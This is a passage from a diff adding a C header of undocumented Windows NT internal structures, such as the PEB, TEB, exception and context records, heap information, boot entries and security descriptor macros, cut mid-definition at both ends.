IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + PVOID ReadOnlySharedMemoryBase; + PVOID HotpatchInformation; + PPVOID ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PPVOID ProcessHeaps; + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ImageProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; + PVOID ProcessAssemblyStorageMap; + PVOID SystemDefaultActivationContextData; + PVOID SystemAssemblyStorageMap; + + SIZE_T MinimumStackCommit; + + PPVOID FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pContextData; + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG SpareTracingBits : 30; + }; + }; +} PEB, *PPEB; + +// +// Fusion/sxs thread state information (aka, stuff noone cares about!) +// + +#define ACTIVATION_CONTEXT_STACK_FLAG_QUERIES_DISABLED (0x00000001) + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + struct _ACTIVATION_CONTEXT* ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + + +typedef struct _ACTIVATION_CONTEXT_STACK +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME * ActiveFrame; + struct _LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef const ACTIVATION_CONTEXT_STACK * PCACTIVATION_CONTEXT_STACK; + +#define TEB_ACTIVE_FRAME_CONTEXT_FLAG_EXTENDED (0x00000001) + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef const TEB_ACTIVE_FRAME_CONTEXT *PCTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT_EX +{ + TEB_ACTIVE_FRAME_CONTEXT BasicContext; + PCSTR SourceLocation; // e.g. "c:\windows\system32\ntdll.dll" +} TEB_ACTIVE_FRAME_CONTEXT_EX, *PTEB_ACTIVE_FRAME_CONTEXT_EX; + +typedef const TEB_ACTIVE_FRAME_CONTEXT_EX *PCTEB_ACTIVE_FRAME_CONTEXT_EX; + +#define TEB_ACTIVE_FRAME_FLAG_EXTENDED (0x00000001) + +// 17/3/2011 updated +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +typedef const TEB_ACTIVE_FRAME *PCTEB_ACTIVE_FRAME; + +typedef struct _TEB_ACTIVE_FRAME_EX +{ + TEB_ACTIVE_FRAME BasicFrame; + PVOID ExtensionIdentifier; // use address of your DLL Main or something mapping in the address space +} TEB_ACTIVE_FRAME_EX, *PTEB_ACTIVE_FRAME_EX; + +typedef const TEB_ACTIVE_FRAME_EX *PCTEB_ACTIVE_FRAME_EX; + +// 18/04/2011 +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#if defined(_M_X64) + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#if defined(_M_X64) + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PPVOID TlsExpansionSlots; +#if defined(_M_X64) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; +} TEB, *PTEB; + +#define PcTeb 0x18 + +#define RtlGetCurrentProcessId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueProcess)) +#define RtlGetCurrentThreadId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueThread)) + +#define ZwCurrentProcess() NtCurrentProcess() + +// 17/3/2011 added +__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } +#define WOWAddress() ( NtCurrentTeb()->WOW32Reserved ) +#define RtlProcessHeap() ( NtCurrentPeb()->ProcessHeap ) + +// 28/3/2011 added +#define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) + +// added 18.04.2011 +typedef struct _THREAD_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PTEB TebBaseAddress; + CLIENT_ID ClientId; + KAFFINITY AffinityMask; + KPRIORITY Priority; + KPRIORITY BasePriority; +} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; + +// added 20.12.11 +// Process Device Map information +// NtQueryInformationProcess using ProcessDeviceMap +// NtSetInformationProcess using ProcessDeviceMap +// +//#pragma pack (push, 1) +typedef struct _PROCESS_DEVICEMAP_INFORMATION { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[ 32 ]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION; + +typedef struct _PROCESS_DEVICEMAP_INFORMATION_EX { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[ 32 ]; + } Query; + }; + ULONG Flags; // specifies that the query type +} PROCESS_DEVICEMAP_INFORMATION_EX, *PPROCESS_DEVICEMAP_INFORMATION_EX; +//#pragma pack(pop) + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; +typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION +{ + SIZE_T Size; // Must be set to structure size on input + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG SpareBits : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _RTL_HEAP_ENTRY +{ + SIZE_T Size; + USHORT Flags; + USHORT AllocatorBackTraceIndex; + union + { + struct + { + SIZE_T Settable; + ULONG Tag; + } s1; // All other heap entries + struct + { + SIZE_T CommittedSize; + PVOID FirstBlock; + } s2; // RTL_SEGMENT + } u; +} RTL_HEAP_ENTRY, *PRTL_HEAP_ENTRY; + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +typedef struct _RTL_HEAP_TAG +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[ 24 ]; +} RTL_HEAP_TAG, *PRTL_HEAP_TAG; + +typedef struct _RTL_HEAP_INFORMATION +{ + PVOID BaseAddress; + ULONG Flags; + USHORT EntryOverhead; + USHORT CreatorBackTraceIndex; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + ULONG NumberOfTags; + ULONG NumberOfEntries; + ULONG NumberOfPseudoTags; + ULONG PseudoTagGranularity; + ULONG Reserved[ 5 ]; + PRTL_HEAP_TAG Tags; + PRTL_HEAP_ENTRY Entries; +} RTL_HEAP_INFORMATION, *PRTL_HEAP_INFORMATION; + +typedef struct _RTL_PROCESS_HEAPS +{ + ULONG NumberOfHeaps; + RTL_HEAP_INFORMATION Heaps[ 1 ]; +} RTL_PROCESS_HEAPS, *PRTL_PROCESS_HEAPS; + +typedef struct _RTL_PROCESS_LOCK_INFORMATION +{ + PVOID Address; + USHORT Type; + USHORT CreatorBackTraceIndex; + + HANDLE OwningThread; // from the thread's ClientId->UniqueThread + LONG LockCount; + ULONG ContentionCount; + ULONG EntryCount; + + // + // The following fields are only valid for Type == RTL_CRITSECT_TYPE + // + + LONG RecursionCount; + + // + // The following fields are only valid for Type == RTL_RESOURCE_TYPE + // + + ULONG NumberOfWaitingShared; + ULONG NumberOfWaitingExclusive; +} RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION; + +// do not name SHA_CTX, if using OpenSSL or such... produces errors. +typedef struct { + ULONG Unknown[6]; + ULONG State[5]; + ULONG Count[2]; + UCHAR Buffer[64]; +} ASHA_CTX, *PSHA_CTX; + +struct _CONTEXT; +struct _EXCEPTION_RECORD; + +// note, winnt.h ... such the pain-in-ass with this structure. +#if !defined(_WINNT_) +typedef +EXCEPTION_DISPOSITION +(*PEXCEPTION_ROUTINE) ( + IN struct _EXCEPTION_RECORD *ExceptionRecord, + IN PVOID EstablisherFrame, + IN OUT struct _CONTEXT *ContextRecord, + IN OUT PVOID DispatcherContext + ); + +typedef struct _EXCEPTION_REGISTRATION_RECORD { + struct _EXCEPTION_REGISTRATION_RECORD *Next; + PEXCEPTION_ROUTINE Handler; +} EXCEPTION_REGISTRATION_RECORD; + +typedef EXCEPTION_REGISTRATION_RECORD *PEXCEPTION_REGISTRATION_RECORD; +#endif + +#if !defined(POINTER_64) +#define POINTER_64 __ptr64 +typedef unsigned __int64 POINTER_64_INT; +#if defined(_M_X64) +#define POINTER_32 __ptr32 +#else +#define POINTER_32 +#endif +#endif + +typedef enum _NT_PRODUCT_TYPE +{ + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; + + +typedef enum _SUITE_TYPE +{ + SmallBusiness, + Enterprise, + BackOffice, + CommunicationServer, + TerminalServer, + SmallBusinessRestricted, + EmbeddedNT, + DataCenter, + SingleUserTS, + Personal, + Blade, + EmbeddedRestricted, + SecurityAppliance, + StorageServer, + ComputeServer, + MaxSuiteType +} SUITE_TYPE; + +#define VER_SERVER_NT 0x80000000 +#define VER_WORKSTATION_NT 0x40000000 +#define VER_SUITE_SMALLBUSINESS 0x00000001 +#define VER_SUITE_ENTERPRISE 0x00000002 +#define VER_SUITE_BACKOFFICE 0x00000004 +#define VER_SUITE_COMMUNICATIONS 0x00000008 +#define VER_SUITE_TERMINAL 0x00000010 +#define VER_SUITE_SMALLBUSINESS_RESTRICTED 0x00000020 +#define VER_SUITE_EMBEDDEDNT 0x00000040 +#define VER_SUITE_DATACENTER 0x00000080 +#define VER_SUITE_SINGLEUSERTS 0x00000100 +#define VER_SUITE_PERSONAL 0x00000200 +#define VER_SUITE_BLADE 0x00000400 +#define VER_SUITE_EMBEDDED_RESTRICTED 0x00000800 +#define VER_SUITE_SECURITY_APPLIANCE 0x00001000 +#define VER_SUITE_STORAGE_SERVER 0x00002000 +#define VER_SUITE_COMPUTE_SERVER 0x00004000 + +// +// exception structures +// + +#ifndef _WINNT_ // take presidence over winnt.h + +typedef struct _CONTEXT +{ + + // + // The flags values within this flag control the contents of + // a CONTEXT record. + // + // If the context record is used as an input parameter, then + // for each portion of the context record controlled by a flag + // whose value is set, it is assumed that that portion of the + // context record contains valid context. If the context record + // is being used to modify a threads context, then only that + // portion of the threads context will be modified. + // + // If the context record is used as an IN OUT parameter to capture + // the context of a thread, then only those portions of the thread's + // context corresponding to set flags will be returned. + // + // The context record is never used as an OUT only parameter. + // + + DWORD ContextFlags; + + // + // This section is specified/returned if CONTEXT_DEBUG_REGISTERS is + // set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT + // included in CONTEXT_FULL. + // + + DWORD Dr0; + DWORD Dr1; + DWORD Dr2; + DWORD Dr3; + DWORD Dr6; + DWORD Dr7; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_FLOATING_POINT. + // + + FLOATING_SAVE_AREA FloatSave; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_SEGMENTS. + // + + DWORD SegGs; + DWORD SegFs; + DWORD SegEs; + DWORD SegDs; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_INTEGER. + // + + DWORD Edi; + DWORD Esi; + DWORD Ebx; + DWORD Edx; + DWORD Ecx; + DWORD Eax; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_CONTROL. + // + + DWORD Ebp; + DWORD Eip; + DWORD SegCs; // MUST BE SANITIZED + DWORD EFlags; // MUST BE SANITIZED + DWORD Esp; + DWORD SegSs; + + // + // This section is specified/returned if the ContextFlags word + // contains the flag CONTEXT_EXTENDED_REGISTERS. + // The format and contexts are processor specific + // + + BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; + +} CONTEXT, *PCONTEXT; + +typedef struct _EXCEPTION_RECORD +{ + DWORD ExceptionCode; // NTSTATUS code of the exception. + DWORD ExceptionFlags; // need more information + struct _EXCEPTION_RECORD *ExceptionRecord; // pointer to an extra record + PVOID ExceptionAddress; // address of the exception happen + DWORD NumberParameters; // more information needed ... + ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD, *PEXCEPTION_RECORD; + +// +// Values put in ExceptionRecord.ExceptionInformation[0] +// First parameter is always in ExceptionInformation[1], +// Second parameter is always in ExceptionInformation[2] +// + +typedef struct _EXCEPTION_RECORD32 { + DWORD ExceptionCode; + DWORD ExceptionFlags; + DWORD ExceptionRecord; + DWORD ExceptionAddress; + DWORD NumberParameters; + DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD32, *PEXCEPTION_RECORD32; + +typedef struct _EXCEPTION_RECORD64 { + DWORD ExceptionCode; + DWORD ExceptionFlags; + DWORD64 ExceptionRecord; + DWORD64 ExceptionAddress; + DWORD NumberParameters; + DWORD __unusedAlignment; + DWORD64 ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD64, *PEXCEPTION_RECORD64; + +// +// Typedef for pointer returned by exception_info() +// + +typedef struct _EXCEPTION_POINTERS +{ + PEXCEPTION_RECORD ExceptionRecord; + PCONTEXT ContextRecord; +} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS; + +#endif + +typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( + IN PWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength, + IN PVOID Context, + IN PVOID EntryContext + ); + +typedef struct _RTL_QUERY_REGISTRY_TABLE { + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; + +} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; + +#define EXCEPTION_CHAIN_END ((struct _EXCEPTION_REGISTRATION_RECORD * POINTER_32)-1) + +#define MAJOR_VERSION 30 +#define MINOR_VERSION 00 +#define OS2_VERSION (MAJOR_VERSION << 8 | MINOR_VERSION ) + +#ifdef DBG +#define DBG_TEB_THREADNAME 16 +#define DBG_TEB_RESERVED_1 15 +#define DBG_TEB_RESERVED_2 14 +#define DBG_TEB_RESERVED_3 13 +#define DBG_TEB_RESERVED_4 12 +#define DBG_TEB_RESERVED_5 11 +#define DBG_TEB_RESERVED_6 10 +#define DBG_TEB_RESERVED_7 9 +#define DBG_TEB_RESERVED_8 8 +#endif // DBG + +#define PROCESS_PRIORITY_CLASS_UNKNOWN 0 +#define PROCESS_PRIORITY_CLASS_IDLE 1 +#define PROCESS_PRIORITY_CLASS_NORMAL 2 +#define PROCESS_PRIORITY_CLASS_HIGH 3 +#define PROCESS_PRIORITY_CLASS_REALTIME 4 +#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5 +#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6 + +typedef struct _PROCESS_PRIORITY_CLASS { + BOOLEAN Foreground; + UCHAR PriorityClass; +} PROCESS_PRIORITY_CLASS, *PPROCESS_PRIORITY_CLASS; + +typedef struct _PROCESS_FOREGROUND_BACKGROUND { + BOOLEAN Foreground; +} PROCESS_FOREGROUND_BACKGROUND, *PPROCESS_FOREGROUND_BACKGROUND; + +typedef struct _FILE_PATH { + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[ANYSIZE_ARRAY]; +} FILE_PATH, *PFILE_PATH; + +#define FILE_PATH_VERSION 1 + +#define FILE_PATH_TYPE_ARC 1 +#define FILE_PATH_TYPE_ARC_SIGNATURE 2 +#define FILE_PATH_TYPE_NT 3 +#define FILE_PATH_TYPE_EFI 4 + +#define FILE_PATH_TYPE_MIN FILE_PATH_TYPE_ARC +#define FILE_PATH_TYPE_MAX FILE_PATH_TYPE_EFI + +typedef struct _WINDOWS_OS_OPTIONS { + UCHAR Signature[8]; + ULONG Version; + ULONG Length; + ULONG OsLoadPathOffset; + WCHAR OsLoadOptions[ANYSIZE_ARRAY]; + //FILE_PATH OsLoadPath; +} WINDOWS_OS_OPTIONS, *PWINDOWS_OS_OPTIONS; + +#define WINDOWS_OS_OPTIONS_SIGNATURE "WINDOWS" + +#define WINDOWS_OS_OPTIONS_VERSION 1 + +typedef struct _BOOT_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[ANYSIZE_ARRAY]; + //WCHAR FriendlyName[ANYSIZE_ARRAY]; + //FILE_PATH BootFilePath; +} BOOT_ENTRY, *PBOOT_ENTRY; + +typedef struct _BOOT_OPTIONS { + ULONG Version; + ULONG Length; + ULONG Timeout; + ULONG CurrentBootEntryId; + ULONG NextBootEntryId; + WCHAR HeadlessRedirection[ANYSIZE_ARRAY]; +} BOOT_OPTIONS, *PBOOT_OPTIONS; + + +// +// Security APIs. +// + +typedef struct _USER_SID +{ + SID_IDENTIFIER_AUTHORITY sidAuthority; + ULONG UserGroupId; + ULONG UserId; +} USER_SID, *PUSER_SID; + + +typedef struct _USER_PERMISSION +{ + USER_SID UserSid; // identifies the user for whom you want to grant permissions to + ULONG dwAccessType; // currently, this is either ACCESS_ALLOWED_ACE_TYPE or ACCESS_DENIED_ACE_TYPE + BOOL bInherit; // the permissions inheritable? (eg a directory or reg key and you want new children to inherit this permission) + ULONG dwAccessMask; // access granted (eg FILE_LIST_CONTENTS or KEY_ALL_ACCESS, etc...) + ULONG dwInheritMask; // mask used for inheritance, usually (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE) + ULONG dwInheritAccessMask; // the inheritable access granted (eg GENERIC_ALL) +} USER_PERMISSION, *PUSER_PERMISSION; + +#define LongAlignPtr(Ptr) ((PVOID)(((ULONG_PTR)(Ptr) + 3) & -4)) +#define LongAlignSize(Size) (((ULONG)(Size) + 3) & -4) + +// +// Macros for calculating the address of the components of a security +// descriptor. This will calculate the address of the field regardless +// of whether the security descriptor is absolute or self-relative form. +// A null value indicates the specified field is not present in the +// security descriptor. +// + +#define RtlpOwnerAddrSecurityDescriptor( SD ) \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner == 0) ? ((PSID) NULL) : \ + (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner) \ + ) : \ + (PSID)((SD)->Owner) \ + ) + +#define RtlpGroupAddrSecurityDescriptor( SD ) \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group == 0) ? ((PSID) NULL) : \ + (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group) \ + ) : \ + (PSID)((SD)->Group) \ + ) + +#define RtlpSaclAddrSecurityDescriptor( SD ) \ + ( (!((SD)->Control & SE_SACL_PRESENT) ) ? \ + (PACL)NULL : \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl == 0) ? ((PACL) NULL) : \ + (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl) \ + ) : \ + (PACL)((SD)->Sacl) \ + ) \ + ) + +#define RtlpDaclAddrSecurityDescriptor( SD ) \ + ( (!((SD)->Control & SE_DACL_PRESENT) ) ? \ + (PACL)NULL : \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl == 0) ? ((PACL) NULL) : \ + (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl) \ + ) : \ + (PACL)((SD)->Dacl) \ + ) \ + ) + + +// +// Macro to determine if the given ID has the owner attribute set, +// which means that it may be assignable as an owner +// The GroupSid should not be marked for UseForDenyOnly. +// + +#define RtlpIdAssignableAsOwner( G ) \ + ( (((G).Attributes & SE_GROUP_OWNER) != 0) && \ + (((G).Attributes & SE_GROUP_USE_FOR_DENY_ONLY) == 0) ) + +// +// Macro to copy the state of the passed bits from the old security +// descriptor (OldSD) into the Control field of the new one (NewSD) +// + +#define RtlpPropagateControlBits( NewSD, OldSD, Bits ) \ + ( NewSD )->Control |= \ + ( \ + ( OldSD )->Control & ( Bits ) \ + ) + + +// +// Macro to query whether or not the passed set of bits are ALL on +// or not (ie, returns FALSE if some are on and not others) +// + +#define RtlpAreControlBitsSet( SD, Bits ) \ + (BOOLEAN) \ + ( \ + (( SD )->Control & ( Bits )) == ( Bits ) \ + ) + +// +// Macro to set the passed control bits in the given Security Descriptor +// + +#define RtlpSetControlBits( SD, Bits ) \ + ( \ + ( SD )->Control |= ( Bits ) \ + ) + +// +// Macro to clear the passed control bits in the given Security Descriptor +// + +#define RtlpClearControlBits( SD, Bits ) \ + ( \ + ( SD )->Control &= ~( Bits ) \ + ) + + +// +// Local Security Authority APIs. +// + +#ifdef DEFINE_GUID + +/* 0cce9210-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_SecurityStateChange_defined) + DEFINE_GUID( + Audit_System_SecurityStateChange, + 0x0cce9210, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_SecurityStateChange_defined + #endif +#endif + +/* 0cce9211-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_SecuritySubsystemExtension_defined) + DEFINE_GUID( + Audit_System_SecuritySubsystemExtension, + 0x0cce9211, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_SecuritySubsystemExtension_defined + #endif +#endif + +/* 0cce9212-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_Integrity_defined) + DEFINE_GUID( + Audit_System_Integrity, + 0x0cce9212, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_Integrity_defined + #endif +#endif + +/* 0cce9213-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_IPSecDriverEvents_defined) + DEFINE_GUID( + Audit_System_IPSecDriverEvents, + 0x0cce9213, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_IPSecDriverEvents_defined + #endif +#endif + +/* 0cce9214-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_Others_defined) + DEFINE_GUID( + Audit_System_Others, + 0x0cce9214, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_Others_defined + #endif +#endif + +/* 0cce9215-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Logon_defined) + DEFINE_GUID( + Audit_Logon_Logon, 